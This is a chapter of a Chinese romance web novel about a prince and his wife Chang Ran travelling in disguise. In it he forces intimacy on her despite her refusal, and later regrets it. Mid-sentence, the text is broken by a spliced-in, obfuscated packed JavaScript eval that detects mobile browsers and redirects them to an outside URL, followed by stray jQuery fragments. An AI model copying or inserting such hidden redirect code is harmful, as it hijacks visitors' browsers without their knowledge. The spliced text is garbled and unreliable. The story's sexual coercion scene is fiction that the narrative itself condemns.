206. 第2章 民间夫妻,续前缘

作品:《一片孤城万仞山,春风再度玉门关

    常苒愣住,看着萧承言“你,你还记得?”


    “是。你同我说的话,我都还记在心里。”萧承言拉起常苒的手,重重的按在自己心脏的位置上。常苒隔着衣服,都感觉到了萧承言心脏跳动。


    萧承言长久看不到常苒的回应,一点点松开常苒的手。常苒的手一点点从他胸前滑落,从他手中滑落。“你,有过一丝喜欢我的?还是如今,不过是当我是依靠而已。”


    常苒显然没想到,萧承言会突然这么问。“承言要听真话?”


    “是。”


    “不知。”


    萧承言闻言眼神淡然。却听着常苒又道:“并不知何时,何时爱慕的。只是在那日,写休书时,很伤心。很......不想离开你。承言,我真的,也很喜欢你。”


    “我知道了。”萧承言抱着常苒。紧紧地抱着。“苒儿,我知道在你心中,我永远比不过常衡,但是能排在第二就够了。为什么非要同自己家人较劲呢。我明日便要走了。你在这简府等我?”


    “爷,不是来接我的?”常苒挣脱了萧承言的怀抱,噘着嘴问道。


    “是,是,就是来接你的。连皇兄交代的事都没忙,就先来接你了。若是不求得你原谅,怎么能去安心办事呢?”


    “您要去做什么呀?”看萧承言没答。便又说道:“不能带着我吗?”


    “怕有危险。”


    “我不怕。带着我吧,若是要装扮一番,带着夫人更能让人相信呀。”


    “夫人。好,带着夫人。苒儿,你能梳一个做姑娘时候的发髻吗?”


    “为何?承言难不成真要重走一遭吗?”


    “若有机会,我真的想重走一遭。没在你做姑娘时,同你见过正经的一面,终是遗憾的。”话毕竟自行拆下常苒的簪子。头发随而散落。


    “你怎么好像,特别喜欢我头发一般。”


    “觉得你头发散下来,甚美。以前做姑娘时,我便我没有机会同你走在一处,感觉是遗憾一般。”


    常苒想了想说道:“我们要隐了身份,是吗?那好。那承言叫什么呀?”


    “云成沂。”


    “那我也要起一个。东。爷身边有从东字的亲随吗?”


    “没有。”


    “那我要叫紫。阿紫。”


    “这同东有什么关系?”


    “紫气东来。”


    “哈哈哈哈。好,阿紫。以后你就做本王身边的东儿,本王身边的贴心小丫头。最亲近的丫头。”萧承言的手狠狠掐在常苒脸上,却是亲昵更多。


    同简亦柔告别,异常的顺利。两人午间便带着各自的人马朝肃洲之地更加深入。


    虽说是以兄妹相称,但晚间萧承言仍是坚持与常苒安睡一房。


    晚间两人“如常”于眠,常苒推说白日赶路累了。萧承言便也忍着。却是夜半醒来,瞧见常苒竟又瑟缩于角落,紧靠在墙边。腿也蜷曲着,仿佛一个圆。虽是手还拉着自己的手,但这明显就是才同床时的姿势。这是害怕的,是她的本能。


    深叹口气,单手拉上常苒的手臂拉向自己。常苒却是紧张的,双手抓着萧承言的手更加用力。萧承言全不在意,只将常苒拖过来,抱在怀里。用自己双臂怀抱着常苒的背。这是常苒之前,觉得最安全的姿势。总是会睡得很熟。


    常苒睡得安稳,萧承言却改为绷着。怀中的常苒一动,便会惊醒。急忙去看怀中的常苒,不过梦中翻下身子,萧承言却觉得常苒要在自己怀中消失了一般紧张。一晚上惊醒数次。


    常苒转醒之时,看自己紧窝在萧承言怀中,一手抓着他的寝衣,一手搂着他的腰身,果真这习惯养成了便难改了。


    萧承言也同时醒了、用手摩挲着常苒的后背,什么都未说。常苒却也再次窝进怀中。


    晚间再眠之刻,常苒再行推拒,萧承言却不再依。明明看到常苒有心躲着,心下越发不安的很。问:“为什么?你不想同我在一起?”


    常苒想了想,还是决定说实话。“我......我身子没大好利索。不易圆房。”


    “是不是你根本就没原谅我?之前不过哄我开心的。”萧承言语气颇有不善之意。


    “您怎么这般想呢?”常苒无力的回。


    常苒嘴唇微颤,看着萧承言。虽是已楚楚可怜,却是萧承言半分未见。“不是我这般想,是你这般做了。人家小月子,也就一个月,那早过了。之前那医女早都说你身体强健。你却说你没做好小月子?你分明是不想同我一起。”


    常苒眼看萧承言生气了,想了想,终还是应下了。


    萧承言也是气着,手下重了些。常苒只得忍耐着他的怒火。


    两个人睡在一起。晚间萧承言是睡下了。常苒却悄然起身,脚下虚浮。坐在桌前,在随身带着的包裹里找着配好的药丸,还是觉得不大舒服,又在口中含着一人参片,喝了些水,才重新躺在床上睡着。


    半夜里常苒却是有些开始发热的。萧承言有发现,询问着:“有没有不舒服?”


    “没有。没事。睡吧。”常苒推说着无事。


    睡到半夜,萧承言发现常苒更加的滚烫。都开始有些说胡话,显然不止是梦魇那般。急忙找人去请大夫,亲自给常苒穿好衣衫。


    大夫来把脉。萧承言用着手巾给常苒擦着额角的汗。


    常苒口中含糊的说道:“兄长......兄长。”


    听到常苒呢喃,原本给常苒擦冷汗的手,还是停住。


    “尚战兄长。”


    萧承言眉头一挑,原是在唤自己,不由得应着,继续擦汗。“在呢。不怕。陪着你呢。”


    看到那大夫瞧着,急忙说:“这是我娘子,我们自小长大,时常田间耕地,在一起叫兄长惯了。此番卖了果子蔬菜,正好在此玩两天。”


    那大夫却是笑了笑,收回手才道:“您不说我也看得出来,这是您娘子。你们虽是穿着普通,但是看您气质不俗,你们也不是普通人家,普通人家断不会用得起人参吊着精神。”


    “吊精神?”萧承言略有些吃惊。


    “您这位娘子应该是懂着医术的吧。可是这懂医术,不代表能治好人。这医者,能医天下,却是不会医治自己的。小月子里声嘶力竭的哭了一场,累了一场。身子的亏空还没补回来,还是要谨慎将养着。最好......半月里还是不要再圆房了。”


    “您......那她,她还......”萧承言支吾着半天未说出整话。


    “看您气度不凡,想必您也是做主惯了的人,怕是小娘子,不好拒绝吧。”


    大夫这话叫萧承言有些没脸。刚才常苒真推拒了,也说了原因。却是自己说了混账话,硬来的。之前自己都很注意常苒的感受,偏是这次,常苒明明都说疼了。唉,分开久了,听到常苒不愿,便又忍不住瞎想。真真是混账。


    “那她......您给开两幅药?”萧承言问。


    “不用,她已经服用了,正对路。虚浮两日,也就好了。之后的月里定要当心,可莫累心累身了。”大夫说着已然起身。


    “是。”萧承言拿着一锭银子递给大夫。


    “不,不,太过重了。什么都没做,给两个铜板就成。”大夫仍是推开。


    “没有碎银子,这么晚了,劳您累一趟。您拿着吧。”萧承言直接塞进大夫手中。


    “成。”大夫拿在手里,却是说:“您二位,若是想瞒着身份,还是换些碎银子,铜板钱的好。民间断用不上这些。”大夫自背着药箱离开。


    萧承言苦着脸坐在床榻边上瞧着常苒。


    直至午间常苒才醒。


    萧承言端着熬了甚久,热了两次的热粥过来,扶着常苒,让常苒靠在怀里,一口口喂着。


    “不用的,兄长。我没那么娇弱。”可是却发现自己的腿,好像灌了铅一般。若不是靠在萧承言身上,只怕上身也是无力的。


    萧承言叹着气说:“你昨晚发热,现在感觉怎么样?可好些了?”


    “无事,不过赶路累了。”


    “那休息几天。不差这两天。”


    “没事的。”


    “昨日大夫都说了,还是要小心的。”


    “大夫?什么大夫?您昨日请大夫了?”常苒挣扎起身,半转过身,却还是虚得很。连脊椎都感觉有些使不上力。“那大夫可说什么了?”昨晚刚服用了药,那是个大夫就能看出来。不能让萧承言知道自己懂些医术。以后会麻烦的。


    萧承言只是说:“只说让我不要同你圆房。你没恢复好。没别的。”


    “哦。”常苒又回身,靠在了萧承言怀中。


    “你在怕什么?”萧承言问。


    “没有。”


    “我......唉。昨日你说了。我还是强迫了你。唉。我又伤害了你一次,我以后一定改。”萧承言抱着常苒,一手拿着粥。下巴抵在常苒头上。反倒委委屈屈的。


    常苒听后却是笑了。“没事


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15249643|150943||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的爷,不碍事。休息两天就好了。”


    萧承言却是依旧忍不住叹了口气。


    两个人在街上逛着,萧承言拿起几个簪子一连问着,却觉得常苒并未多开心,只觉得做工不好,又去铺子中挑了起来。统统包起送出还是未见多高兴。


    常苒劝说家里还有很多,但见萧承言失落的眼神,还有那蹙起的眉头,便改口道:“那便买吧。爷觉得苒儿带着好看,就买。”


    回到客栈后萧承言却借口带着雁南买吃食再次出来,在街上未行多远,便问:“雁南。你觉没觉得,苒儿......这么久了,没大笑过。”


    “刚才,娘娘不是还笑了吗?”


    “不一样的。而且,也没哭过。”


    “和爷在一起,为什么要哭呢?”雁南更加不解。


    “我......我是怕,那时候我无心的骂她了。她放在心上了。”萧承言小声道。


    “谁?夫人?”


    “自是她。现下说谁呢......”萧承言略有些无力,合着雁南也不懂。


    “那您说什么了?”


    “我也记不得了。反正就是,她当时哭的厉害。我怕她哭坏了,就说了句什么。反正就似气头上,反正不是好话。现在,倒想她哭一场,我都......我都恨不得她现在拿鞭子抽我一顿。都好。我现在一点感觉不到,她在乎我。和刚成婚那时候不一样。那时候就感觉,感觉只有每次我们吵闹之后,虽然我骂她,她哭了,我虽然都心疼。但是那时候感觉,每次都离得近了一些。现在明明我们在一起,可我就感觉,我们之前有隔阂。无论我说什么,我都感觉隔着一层什么。你能懂吗?”


    雁南摇了摇头。“爷,您想多了吧。怎么也比您那时候没成婚时候近呀。”


    “我觉得还不如没成婚时候呢......她也没叫过我名字了。是不是?”


    “这在外面,也不方便呀。”


    萧承言摇了摇头。“不是。”


    “夫人不是一直称您夫君,那不是比名字近多了?”


    萧承言转身离开,道:”你在这等吧。我先回去。“


    “爷......那我还回去吗?那我什么时候回去方便呀?”雁南急忙问。


    萧承言已经拿着佩剑走了。


    萧承言回到房里,推开门。常苒正在绣花。“夫君,这么快回来了?雁南呢没一道回来?”


    萧承言关紧房门,走了过来,把佩剑放下。看着常苒。常苒也看着他,问道:“怎么了?”


    “你原谅我了吗?”


    常苒被问得愣了愣,随即点了点头。


    萧承言凝着眉呼出口气,却还是问道:“你知道我跟着你,有多久了吗?”


    “多久?什么意思呀?”常苒不明所以。


    “建元三十八年。我便偷偷在后面跟着你。你到底是真开心,还是敷衍。我看的很清楚。”


    “所以,夫君觉得,我在敷衍你?”


    “不是觉得。你看我的眼神,那般冰冷。就......就感觉我整个人都要被你冻住了。你要是有气,你可以发泄出来的。你骂我,打我。都好。好吗?”


    “我没有。”


    萧承言站起身,走了两圈。突然回来,蹲在常苒边上,拉起常苒的手,就往自己脸上打。常苒无措的挣脱,站起了身。后退了几步。跪下问道:“您怎么了?哪里不顺您心意了?”


    萧承言闭上了眼睛,半天才睁开说道:“我就是想你多爱我一份。你从不爱我。不过是为着那一纸赐婚嫁进来的,不是我。也是旁人。”


    “您说什么呢?”常苒不知所措。


    “左右也不能行房,我们分床睡吧。我去再要个房间。”说完便拿起了宝剑,出了房门。


    雁南拿着东西回来,正好看到萧承言出门。


    “餐食好了。”


    “给她吃吧。我没胃口。”


    雁南恭敬的送进了常苒的房间。常苒什么都没问,什么都没说,便吃了一些。


    萧承言要好了房间,看着雁南问:“她吃了吗?”


    “吃了。”雁南回。


    “她怎么这么没心没肺,还吃得下去!”


    “那......奴才把吃的拿出来?”雁南问。


    “拿什么拿?刚才她便吵着饿了。”


    “那您到底是让不让主子吃呀?”雁南都忍不住笑了。


    萧承言也觉得自己好生别扭,不知怎的了。